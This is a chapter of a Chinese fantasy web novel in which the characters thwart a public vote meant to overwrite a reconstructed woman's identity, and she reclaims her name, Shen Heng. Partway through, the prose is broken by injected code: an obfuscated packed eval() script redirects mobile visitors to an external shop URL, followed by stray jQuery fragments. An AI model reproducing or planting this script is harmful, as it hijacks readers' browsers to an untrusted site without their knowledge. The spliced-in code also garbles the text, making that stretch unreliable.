“真的那个，死在哪里？”
女人站在窄廊尽头，脸与谢明烛一模一样。她左手僵硬地垂在身侧，小指仍压着衣角，像这个动作已经做了很多年。
外面的投票还在继续。
前任，七百六十二票。
现任，五百一十九票。
每多一票，女人的五官便清楚一分。与此同时，谢明烛胸前的名牌开始褪色，最先淡下去的是“修契人”三个字。
唐婧低头看手机。她们没有信号，刚才拍下的照片却正在自己变化。
栖水堂的证婚席上，原本坐着谢明烛。
此刻照片里的人慢慢变成了眼前这个女人。左手戴着白手套，神情、姿势仍是谢明烛的，脸却多了一层旧照片才有的模糊颗粒。
唐婧立即锁屏：“投票在改见证记录。”
女人也看见了那张照片。她盯着屏幕，眼里先是茫然，随后浮出一点近乎贪恋的光。
“那是我吗？”
“不是。”谢明烛说。
女人抬头：“你凭什么确定？”
“昨晚坐在证婚席上的人是我。”
“可现在照片里是我。”
“所以照片被改了。”
女人的嘴唇动了一下，似乎想反驳，却找不到话。广播适时响起，语气温和，像在替她撑腰。
“见证即为真实。”
“当多数人认定她是前任谢明烛，她便拥有这个名字留下的一切。”
闻烬生抬眼看向四周的白灯：“她留下的，不包括别人的脸。”
广播停顿片刻。
“闻先生，你认得九十七年前的她。”
“你看见她站在这里，难道不希望她回来？”
女人立刻看向闻烬生。
她眼里有一种急切，像他只要点头，她便能得到最后一份证明。
闻烬生看了她许久。
“她喝水时只用右手，睡觉背靠着门，身上有很重的药味。她不喜欢香，却随身带着半截线香，因为那是进山的凭证。”
女人的右手慢慢握紧。
闻烬生继续道：“她第一次见我，问的是神簿放在哪里。第二次问，山里一共有多少个新娘位。”
“你记得吗？”
女人脸上的急切僵住了。
她摇头。
“我只记得火。”
“还有左手很疼。”
“他们说，那就是我的记忆。”
“疼也可以做出来。”闻烬生说，“动作也可以教。”
女人脸色一点点白下去：“那我还剩什么？”
投票数字仍在上涨。
前任超过一千票时，她左手的白手套忽然渗出血。那道伤看起来很真，她也确实疼得弯了一下腰。
谢明烛走到她面前：“先回答一个问题。”
女人抬起头。
“你醒来之前，最后记得什么？”
“火。”
“再往前。”
“有人把我从很黑的地方拉出来。”
“谁？”
“不知道。”
她按住额角，呼吸开始急促：“他们把很多声音放进来，让我听一个女人说话，让我看她写过的信。后来又让我看栖水堂的直播。”
“他们说，只要我学会你的语气，外面的人就会相信。”
谢明烛问：“还有呢？”
女人闭上眼。
“有一颗糖。”
沈若微骤然抬头。
她手里还攥着从暗道墙缝里取出的糖纸。那片纸已经发黑，只有边缘留着一点很淡的橙色。
女人也看见了。
她的神情忽然变了。
不是想起来一件大事，只是下意识向前走了一步，伸手想碰那片糖纸。
“橘子的。”
沈若微眼圈立刻红了。她走到女人面前，把糖纸放进她没有受伤的右手里。
女人低头闻了闻。
糖纸早就没有味道，可她的眼泪忽然掉下来。
“有人把糖塞进面具嘴里。”
“她很小。”
“她以为我总在哭。”
沈若微艰难地开口：“是我。”
女人看着她，眼里闪过一张旧画面。
七岁的女孩踮起脚，把一颗橘子糖塞进哭面微张的嘴里，还小声说：“别哭了，甜的。”
那不是九十七年前的谢明烛会有的记忆。
那是哭面里的沈蘅。
秦满怀里的铜铃终于响了。
叮。
它从女人出现起一直没有反应，此刻铃身朝向她，声音越来越清楚。
“沈蘅。”秦满说。
女人身体一震。
墙上所有白灯同时闪烁。
广播立刻提高声音：“错误身份，不得呼叫！”
“沈蘅。”
秦满又叫了一次。
这一次，铜铃没有迟疑。
女人脸上的谢明烛开始松动。眉尾最先变了，随后是鼻梁和嘴唇，像一层贴得太紧的面皮正在慢慢脱落。
她抬手摸着自己的脸，惊慌地问：“沈蘅是谁？”
沈若微把回声井磁带拿出来，递给唐婧。
“放。”
便携播放器很快传出杂音。录音里的少女声音有些发抖，却一遍遍说得很清楚。
“我叫沈蘅。”
“沈家的沈，杜蘅的蘅。”
“我不叫若微。”
女人像被钉在原地。
她听着那道声音，嘴唇也跟着轻轻动。第一遍没有发出声音，第二遍只有一口气。
到了第三遍，她终于说：
“我叫沈蘅。”
窄廊里的投票屏幕瞬间停住。
【检测到候选人身份冲突。】
【前任谢明烛正在自认其他姓名。】
广播冷声道：“沈蘅已失名多年，户籍注销，族谱除名，现存形态为哭面愿核。她不能以人名进入春祭。”
沈蘅摸着自己的脸。
那张脸仍在谢明烛与十六七岁的少女之间变化。每当外面的“前任”票数增加，她便更像谢明烛；每当录音里的名字响起，她额角那道浅疤便重新露出来。
她看向谢明烛：“我到底是谁？”
“这部分得你自己认。”
“可我记不全。”
“没人要求你现在就把一生都想起来。”
谢明烛拿出她们在医院签下的借名契。
【借名：谢明烛。】
【原名：待归。】
【若找到原名，借名者有权认领或拒绝。】
她将最后一句指给沈蘅看：“你已经提前给自己留了选择。”
沈蘅看着那张契。
“可我进入这里以后，他们告诉我，我就是前一个谢明烛。”
“你信了？”
“我想信。”
她的声音低下去：“如果我是她，至少我不是一张面。”
“你现在也不是。”
广播发出一声冷笑。
“没有被承认的姓名，她就只能回到哭面。”
“她想以沈蘅活着，需要证据。”
唐婧举起播放器：“有录音。”
“声音可以伪造。”
沈鸿礼走上前：“我能作证。”
广播立刻道：“沈家堂主正是送她入面的家族后人，其证言存在利益冲突。”
沈鸿礼脸色一白。
这话没说错。
他记得妹妹的名字，却没有守住。后来又让同名的女儿嫁堂，继续使用哭面。
沈若微看了父亲一眼，自己走到沈蘅面前。
“我作证。”
她的嗓子仍然沙哑，每句话都说得很慢。
“我七岁时，给哭面塞过橘子糖。”
“她记得。”
“她还记得我。”
广播没有立即回应。
沈若微继续道：“我不证明她所有经历。只证明这段记忆属于她，也属于我。”
谢明烛抬起神簿，在纸上写下：
【见证者只证亲见，不替本人定名。】
【本人所述与证物相合，可作自认依据。】
墙上的投票屏幕剧烈晃动。
前任票数开始下降。
不是外面的人突然改了选择，而是每一张票都被迫显示投票依据。
【依据：外貌相同。】
【依据：展览说明。】
【依据：多数人选择。】
【依据：觉得前任更惨。】
没有一票能证明眼前的女人就是九十七年前的谢明烛。
可橘子糖、回声井录音、沈若微的亲历和沈鸿礼保留的记忆，都指向沈蘅。
广播终于失去从容：“历史复现不需要原身完整记忆。只要身份材料足够，公众认知便可补齐其余部分。”
“补齐？”唐婧抬头，“你们拿沈蘅的愿核做身体，拿前一个谢明烛的档案做记忆，再拿现在谢明烛的脸让公众认出来，这叫补齐？”
沈蘅的神情僵住。
她低头看着自己。
哭面的无名核。
前一个人的伤和资料。
现在这个人的脸。
愿社把三个女人压进同一个身体，再让外面的人投票决定她应该成为谁。
如果“前任”胜出，沈蘅会被压在九十七年前的身份下；如果“现任”胜出，她又会成为现在谢明烛的复制品。
无论哪一个获胜，她都不会留下。
“所以他们让我投票成真。”沈蘅轻声说，“不是让我活。”
谢明烛看着她：“你可以退出。”
“退出以后，我会不会散掉？”
“可能。”
闻烬生皱眉看向谢明烛。
她没有向沈蘅保证安全。
因为没人知道投票和复现身份被剥掉以后，这具身体还能不能存在。
沈蘅也听懂了。
“那你为什么还让我退出？”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762601|208250||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“我让你自己选。”
“如果我想继续做前任呢？”
“那是你的选择。”
“即使会拿走你的脸和记忆？”
谢明烛看着她：“我会阻止你拿我的。”
沈蘅怔了怔。
她原以为谢明烛会说，我理解你，我愿意让一点给你。又或者冷冷告诉她，她根本不配使用这个名字。
可谢明烛什么也没让。
也没有逼她高尚。
“你不救我吗？”沈蘅问。
“救。”
“怎么救？”
“先把你从错误的名字里拆出来。”
“拆完以后呢？”
“再想办法。”
沈蘅忽然笑了一下。
那笑与谢明烛完全不像。
有点苦，也有点孩子气。
“你总是先拆？”
“我是修书的。”
“修书不是应该先补吗？”
“乱补会补错。”
沈蘅低头看着自己的胸牌。
【谢明烛。】
【前任。】
她用仍然僵硬的左手扯了两次，没有扯下来。最后改用右手，抓住名牌边缘，用力撕开。
窄廊里响起尖锐警报。
【候选人主动退名。】
【复现身份即将失效。】
【请立即恢复佩戴。】
沈蘅没有停。
她将名牌彻底扯下，扔在地上。
“我不做前任。”
脸上属于谢明烛的轮廓迅速褪去，左手烧伤也跟着消失。她重新变成回声井里那个十六七岁的女孩，短发，浓眉，额角有疤。
可下一秒，她的手指开始透明。
沈若微下意识去扶她，手却从她手臂边缘穿了过去。
广播说道：“无名愿核无法以人身存在。”
“沈蘅已被注销。”
“恢复前任身份，她仍可活。”
地上的名牌自行浮起，再次飞向沈蘅。
闻烬生一刀将它钉在墙上。
沈蘅身体越来越淡，仍然没去抓。
她看向谢明烛：“你说，人可以先活，再取名字。”
“对。”
“可它不让我先活。”
谢明烛走到她面前，翻开神簿。
“那就先把人留下。”
神簿上现出沈蘅的旧记录。
【沈蘅，沈氏女。】
【族谱除名。】
【户籍失名。】
【送入哭面。】
每一行后面都盖着注销印。
谢明烛没有直接划掉印章，而是在最后添上一句：
【本人仍在。】
广播冷声道：“无档案。”
【有录音。】
“无亲缘承认。”
【有本人自认。】
“无活人身份。”
谢明烛抬眼看着逐渐透明的沈蘅。
“先有活人，才有身份。”
朱砂笔落下。
【沈蘅人身暂存七日。】
【七日内查原档、归户籍、补族谱。】
【期满未成，不归哭面，仍以无名人身待查。】
最后一句写完，沈蘅透明的手指停住了。
颜色没有完全恢复，却不再继续消散。
她看着自己的手，眼泪一滴滴落在地上。泪水是真的，落地后没有消失。
墙外的投票页面全部归零。
【前任候选人退出。】
【现任候选人拒绝参选。】
【本次见证无效。】
窄廊里的白灯逐盏熄灭。
最深处那扇门却缓缓打开。
广播不再是刚才的机械声。
顾闻川的声音从门后传来。
“很好。”
“沈蘅归名，复现失败。”
“你们又从愿社手里拿回了一个人。”
谢明烛看向黑暗深处：“听起来你不生气。”
“我为什么要生气？”
顾闻川轻轻笑了一声。
“我们本来就需要沈蘅以自己的名字走进百名会馆。”
沈若微脸色骤变。
门后的地面亮起两行字。
【第一任堂娘：沈蘅。】
【第一百任堂娘：沈若微。】
她们已经把“若微”这个共用堂娘名拆开，也让沈蘅认回了原名。
可愿社要的从来不只是两个同名堂娘。
它要一个已经从哭面中归来的人，和一个亲手退掉堂娘位的人。
一个证明死名可以归人。
一个证明活人可以退位。
两条规则齐了。
黑暗深处传来沉重的开锁声。
一层。
两层。
一直落到地下。
顾闻川的声音近得像站在门后。
“欢迎。”
“第八层现在才真正开了。”